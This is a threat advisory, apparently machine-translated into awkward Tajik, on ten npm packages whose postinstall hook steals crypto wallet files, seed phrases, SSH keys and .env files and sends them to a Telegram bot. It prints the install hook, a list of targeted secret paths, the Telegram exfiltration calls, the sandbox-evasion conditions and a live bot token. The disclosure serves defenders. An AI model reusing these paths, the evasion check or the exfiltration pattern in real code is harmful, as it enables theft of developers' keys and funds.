ХИБ; DR
9 июни соли 2026 як ҳисоби ягонаи ношири npm, aicrypto-xzggg, фиристода шуд даҳ баста бо номҳои дорои таъми крипто ва Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ва шаш нафари дигар.
Ҳар як баста аз як бор якхела кор мекунад postinstall қалмоқ. Ҳангоми насб, он месанҷад, ки оё он дар дохили CI ё қуттии рег кор мекунад - агар не, он анборҳои калидҳои ҳамён, файлҳои ибораҳои тухмӣ, калидҳои SSH ва ғайраро мехонад. .env файлҳоро аз шаш экосистемаи blockchain интиқол медиҳад ва онҳоро ба боти Telegram интиқол медиҳад.
Нишондиҳандаи ягонае, ки як ҳимоятгар метавонад фавран ҷустуҷӯ кунад, ин ID-и боти Telegram аст. 8227918239.
Ҷиддият: муҳимтар — дуздии мустақими калидҳои имзо ва ибораҳои барқароркунӣ аз истгоҳҳои кории таҳиягар.
Ҳамла: Чӣ тавр он кор мекунад
Бастаҳо худро ҳамчун утилитаҳои таҳиягари blockchain таблиғ мекунанд. бастаи.json минималӣ аст ва давраи ҳаёти насбро ба скрипт нишон медиҳад:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } скриптҳо/постинстал.js як шими якхатта аст, ки бори воқеиро бор мекунад: талаб кардан(“../src/index.js”). Зеро пас аз насб кардан дар давоми он ба таври худкор кор мекунад насб, воридоти код аз ҷониби таҳиягар талаб карда намешавад - ҷойгир кардани баста дар дарахти вобастагӣ барои иҷрои он кофӣ аст.
Занҷири куштор дар дохили src/index.js чор қадам аст:
- Санҷиши муҳити зист. Функсияи посбон муайян мекунад, ки оё хост ба агенти сохтмонӣ ё қуттии реги таҳлилӣ монанд аст ё не.
- Таъхир. Иҷро пас аз як муддат ба таъхир гузошта мешавад вақти муқарраршуда тақрибан 7.4 сония.
- Маҷмӯа. Рӯйхати муқарраршудаи роҳҳои ҳамён, калид ва файлҳои махфӣ пайгирӣ карда мешавад; файлҳои мавҷуда дар навбат ҷойгир карда мешаванд.
- Ихроҷ (экфилтратсия) Файлҳои навбатдор ба боти Telegram фиристода мешаванд, ки пеш аз онҳо паёми хулоса фиристода мешавад.
Рӯйхати мақсадноки коллексия шаш занҷир ва инчунин асрори умумии таҳиягаронро дар бар мегирад.
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Дар маҷмӯъ бисту як роҳ. Вурудоти феҳрист ба монанди ~/.ethereum/калидстор васеъ карда мешаванд ва ҳар як файли дар дохили он буда дар навбат гузошта мешавад. Эксфилтратсия мустақиман аз API-и Telegram Bot истифода мебарад — a паём фиристед бо мизбон ва хулосаи файл занг занед, сипас Ҳуҷҷатро фиристед боргузории бисёрқисма барои ҳар як файл:
матн
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Паёми хулосавии рамз бо сатри аслӣ оғоз мешавад ДУЗДИИ КРИПТО, баъд аз он номи мизбон, номи корбар, номи бастаи ибтидоӣ, шумораи файлҳо ва мӯҳри вақт.
Дар ин ҷо чӣ нав аст?
Фарқияткунанда механизми дуздӣ нест — exfil аз npm дар Telegram асос ёфтааст пас аз насб кардан hooks поймол карда шудааст. Ин аст дарвозаи иҷроиш. Пеш аз анҷом додани коре, функсияи пардохт функсияеро даъват мекунад, ки вақте ки хост ба CI runner ё sandbox монанд аст, true бармегардад ва вақте ки ин корро мекунад, барвақт бармегардад:
матн
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Нуқтаи асосии container-id банди қобили таваҷҷӯҳ аст: номи мизбони 12-рақама шакли пешфарзе аст, ки Docker ба он таъин мекунад контейнер, бинобар ин, боркунии иловагӣ "номи мизбони ман ба контейнери Docker монанд аст"-ро ҳамчун сабаби хомӯш мондан баррасӣ мекунад. Дар якҷоягӣ бо таъхири ҳафт сония, тарҳ ба кор дар истгоҳи воқеии таҳиягар ва хомӯш мондан дар ҳама ҷое, ки ба таҳлили автоматӣ монанд аст, афзалият медиҳад. Ин дарвоза сигналҳои таҳлили динамикиро пахш кард ва ҷараёни статикии exfil-ро ҳамчун далели асосии маҳкумият нигоҳ дошт.
Давомнокӣ
| Сана (UTC) | ҳодиса |
|---|---|
| 2026-06-09 ~02:48 | Аввалин бастаҳо дар кластер ҳангоми нашр қайд карда шуданд (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Аъзоёни версияи баландтар қайд карда шуданд (ethereum-kit-9 соати 1.25.36, wallet-sdk-9 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Аъзоёни ниҳоӣ қайд карда шуданд (defi-tools-39 соати 4.26.29, swap-sdk-87 соати 4.63.78, farming-tools-12 4.68.54) |
| 2026-06-09 | Ҳамаи даҳ нафар зараровар тасниф шудаанд ва барои нест кардани феҳрист гузориш дода шудаанд |
Ҳамаи ин даҳ асар тақрибан дар давоми ҳафтод дақиқа пайдо шуданд, ки бо як нашри сенариявӣ аз як ҳисоб мувофиқат мекунад.
Нишондиҳандаҳои созиш
Нишондиҳандаҳои шабакавӣ ва рафторӣ (мизбон defanged):
| нишондиҳандаи | арзиши |
|---|---|
| Нуқтаи ниҳоии Exfil | api[.]telegram[.]org (API-и боти Telegram) |
| ID-и боти Telegram | 8227918239 |
| Токени бот | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID-и чати Telegram | 6433587894 |
| Қалмоқро насб кунед | postinstall → scripts/postinstall.js → src/index.js |
| Сатри нишона | CRYPTO STEALER дар паёми ҷамъбастӣ |
| ношир | aicrypto-xzggg (почтаи электронии зикршуда vipsyria88@gmail[.]com, тасдиқнашуда) |
Бастаҳо ва версияҳо, ҳар кадоме бо SHA-256-и худ src/index.js боркунии файлҳо (боркуниҳо аз ҷиҳати функсионалӣ якхелаанд ва танҳо дар нишони номи бастаи дарунсохт фарқ мекунанд, аз ин рӯ ҳар як хэш фарқ мекунад):
| бастаи | Version | SHA-256 аз src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Як дархости оддии ҷустуҷӯ: ҷустуҷӯи гузоришҳои насб ва файлҳои қулф барои ҳар яке аз даҳ ном ва ҷустуҷӯи трафики содиротӣ барои пайвастшавӣ ба Telegram Bot API аз хостҳои сохташуда ё таҳиягарон, ки онро дар акси ҳол истифода намебаранд.
Атрибутсия ва рафтори мушоҳидашуда
Ҳамаи даҳ баста аз ҷониби як ҳисоб нашр шуданд, aicrypto-xzggg, почтаи электронии зикршудааш vipsyria88@gmail[.]comҲам почтаи электронӣ ва ҳам истиноди идоракунии манбаъ дар метамаълумоти феҳрист тасдиқ нашудаанд ва ҳисоб дорои рейтинги хеле манфии обрӯ аст. Мо тасдиқ накардаем, ки кӣ ин ҳисобро идора мекунад.
Ду тафсилотро аз ҳар гуна даъвои шахсият ҷудо кардан лозим аст. Аввалан, бастаи.json муаллиф хондани саҳроӣ Алекс Смит дар ҳар як баста, дар ҳоле ки ҳисоби воқеии нашрӣ аст aicrypto-xzggg; майдони муаллиф метамаълумоти худэълоншуда аст ва муаллифиро муайян намекунад. Дуюм, рақамҳои версия хеле фарқ мекунанд - баъзе аъзоён дар он нишастаанд 1.0.0, дигарон дар 4.68.54 — ки бо истифодаи такрории як бор дар байни номҳои бастаҳои нав сохташуда ба ҷои нигоҳ доштани таърихи воқеии нашр мувофиқ аст.
Рафтор дар тамоми кластер яксон аст: ҳамон рӯйхати роҳи мақсаднок, ҳамон идентификатори боти Telegram ва идентификатори чат, ҳамон дарвозаи муҳит, ҳамон ДУЗДИИ КРИПТО нишона. Ин якрангӣ қавитарин пайванд байни бастаҳо аст. Ин сигнали як оператор аст, на як шахсият.
Таъсир, тамоюлҳо ва роҳнамоӣ барои ҳимоятгарон
Фошшавӣ мушаххас аст. Таҳиягар, ки яке аз ин бастаҳоро дар истгоҳи корӣ, ки ҳамёни нармафзор, файли ибораи тухмӣ ё калиди SSH-ро дар бар мегирад, насб мекунад, ин файлҳоро дар давоми чанд сония аз хост мехонад ва интиқол медиҳад. Ибораҳои барқарорсозӣ ва калидҳои имзо ба монанди токени сессия мӯҳлаташонро аз даст намедиҳанд; як бор mnemonic.txt ё Солана id.json мошинро тарк мекунад, маблағҳое, ки он назорат мекунад, то он даме, ки онҳо интиқол дода нашаванд, дар хатар мемонанд. Ҳамин ҳаракат низ .env файлҳое, ки мунтазам калидҳои API ва эътимодномаҳои пойгоҳи додаҳоро дар бар мегиранд.
Ду тамоюл дар паси ин кластер қарор доранд. Аввалин тамоюл истифодаи доимии номҳои крипто ва Web3 барои ҷалби аудиторияи мушаххас аст - таҳиягароне, ки ҳамёнҳо ва калидҳоро дар ҳамон мошине, ки вобастагиҳоро дар он насб мекунанд, нигоҳ медоранд. Дуюм, пухта расидани саркашӣ аз қуттии рег дар борҳои вақти насб аст. Дарвозае, ки тағирёбандаҳои муҳити CI, номҳои корбарии иҷрокунанда ва шакли номи мизбони контейнери Docker-ро тафтиш мекунад, як кӯшиши қасдан аст, ки дар таҳлил нисбат ба истгоҳи воқеии корӣ рафтори дигар кунад ва он сатҳи ошкоркунии комилан динамикиро баланд мебардорад.
Барои ҳимоятгарон:
Насб бо скриптҳои пешфарз ғайрифаъол. npm насб –ignore-scripts, ё муқаррар кунед ignore-scripts=true in .npmrc, пешгирӣ мекунад пас аз насб кардан иҷро; скриптҳоро танҳо барои вобастагиҳои мушаххасе, ки воқеан ба онҳо ниёз доранд, фаъол созед.
Ҳамёнҳо ва калидҳои имзоро аз дастгоҳҳои сохтмонӣ ва таҳияӣ дур нигоҳ доред. Ҳамёни сахтафзор ё хости имзои махсус ва бидуни вобастагӣ истифода баред.
Муносибат .env, анборҳои калидӣ ва файлҳои ибораҳои тухмӣ ҳамчун ҷавоҳироти тоҷ. Онҳо ҳеҷ гоҳ набояд дар феҳристе ҷойгир шаванд, ки он низ як аст. насб дарахти корӣ.
Пайвастҳои берунаро ба Telegram Bot API аз CI ва мизбонҳои таҳиягар ҷустуҷӯ кунед. Аксари муҳитҳои сохташуда ҳеҷ гоҳ онро даъват намекунанд; муҳитҳое, ки ногаҳон, фавран пас аз насб, пайдо мешаванд, сазовори таҳқиқ ҳастанд.
Вобастагиҳоро пин кунед ва баррасӣ кунед. Бастаи нав бо номи умумии крипто, пас аз насб кардан қалмоқ аст ва ҳеҷ як истиноди анбор пеш аз ворид шудан ба файли қулфӣ, нигоҳ карданро талаб намекунад.
Банди саркашӣ аз истифодаи контейнер-id инчунин барои таҳлилгарон хотиррасон мекунад: боркунии вақти насб, ки дар қуттии рег хомӯш мемонад, безарар нест, он интихобӣ аст. Баррасии статикии роҳи насб роҳи боэътимоди дидани он чизест, ки иҷрои динамикӣ метавонад нишон надиҳад, боқӣ мемонад.
Адабиёт
ҳуҷҷатҳои насби npm — скриптҳои давраи ҳаёт ва –скриптҳоро сарфи назар кунед— истинод барои хомӯш кардани насби худкор hooks.





